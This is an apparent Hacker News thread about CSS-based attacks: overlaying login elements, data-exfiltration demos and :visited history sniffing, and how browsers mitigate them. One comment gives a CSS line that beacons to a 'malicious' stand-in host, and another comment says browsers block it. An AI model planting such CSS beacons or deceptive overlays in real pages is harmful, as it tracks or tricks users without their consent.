6 ms·
Can you get pwned with CSS?
- vimax 5y agoan attacker could use css to cover a login input and button with their own elements. Without html injection just think about what might be done to disrupt a site. Here on HN you could swap the comments and hide or flag links and make the site unusable. If it were on a page with a delete link or a close account link, you could trick someone into irrecoverable data loss. Thinking only about key loggers is very narrow thinking.
- deleted 5y ago[deleted]
- LinuxBender 5y agoYes [1] one can be pwned with CSS. There may also be some data leakage risks. [2] [1] - https://thejh.net/misc/website-terminal-copy-paste https://thejh.net/misc/website-terminal-copy-paste [2] - https://www.mike-gualtieri.com/css-exfil-vulnerability-tester https://www.mike-gualtieri.com/css-exfil-vulnerability-teste...
- deleted 5y ago[deleted]
- Jerrrry 5y agoYou can still infer browser history easily by the old CSS :visited Selector and being slightly more clever than a houseplant.
- wolfgang42 5y agoWould you care to enlighten us houseplants as to how? The :visited selector is limited to a very small subset of CSS properties[1] for exactly this reason; I’m sure if you have an exploit that can be used to extract browsing history the browsers will be very interested in a security report. [1]: https://developer.mozilla.org/en-US/docs/Web/CSS/Privacy_and_the_:visited_selector https://developer.mozilla.org/en-US/docs/Web/CSS/Privacy_and...
- brigandish 5y agoCheck the colours of links, if they're blue, they're new, if they're purple, they've been visited. It works the same way for anyone looking at the page, not just the user's eyes.
- codeafin 5y agoWhat's the last product you've seen that still uses this color system?
- pkqxdd 5y agoGoogle search
- jfk13 5y agoSure, it shows those colours to the user. But they're not exposed to the website; if it tries querying the colour of the links, the browser returns the same blue value for all of them, visited or not.
- JacobThreeThree 5y agoIt used to be that CSS leaked all visitor states with no user interaction. This was patched by browsers a few years back, but there are still ways to extract some data from :visited, it just requires user interaction now. https://frantzmiccoli.github.io/visited-captcha-history/ https://frantzmiccoli.github.io/visited-captcha-history/
- SahAssar 5y agoThat's pretty limited though. You can only check urls (not domains), and only as many urls as there are characters in the captcha. It's a clever hack though!
- easrng 5y ago
- toastal 5y agoI've disabled :visited in about:config after reading it as a good hardening practice
- capableweb 5y agoNo longer necessary, all major browsers already patch that hole. JS doesn't see the state of visited links differently than normal links anymore.
- toastal 5y agoAwesome. Great to know.
- toastal 5y agoWait. Couldn't this still be used? a:visited { background: url(http://malicious/endpoint http://malicious/endpoint) }
- jfk13 5y agoNo. As per https://developer.mozilla.org/en-US/docs/Web/CSS/:visited https://developer.mozilla.org/en-US/docs/Web/CSS/:visited, > For privacy reasons, the styles that can be modified using this selector are very limited. (and loading a background image isn't one of them).
- ILMostro7 5y agoAnyone else read that as Counterstrike:Source for a second?
- theandrewbailey 5y agoFor that, I've always seen "Source" spelled out (or spoken), even when "CS" is abbreviated.
- ILMostro7 5y agoyeah, tough crowd. I thought it was a play on words, since the article mentions being pwned. :)
- unixbane 5y agoit also creates a giant attack surface because its a giant pile of C/C++ (was, dunno current state). the solution has always been to isolate browsers and run one isolated browser per "web app" until the web finally dies.
- theandrewbailey 5y agoIn addition, 'unsafe-inline' violates separation of content and presentation. I'm surprised that modern frameworks require it, when it should receive the same hate that table-based layouts and !important have.
- sebazzz 5y agoUnfortunately we use Telerik components (Kendo for Blazor specifically) and we have no option but to leave unsafe-inline enabled.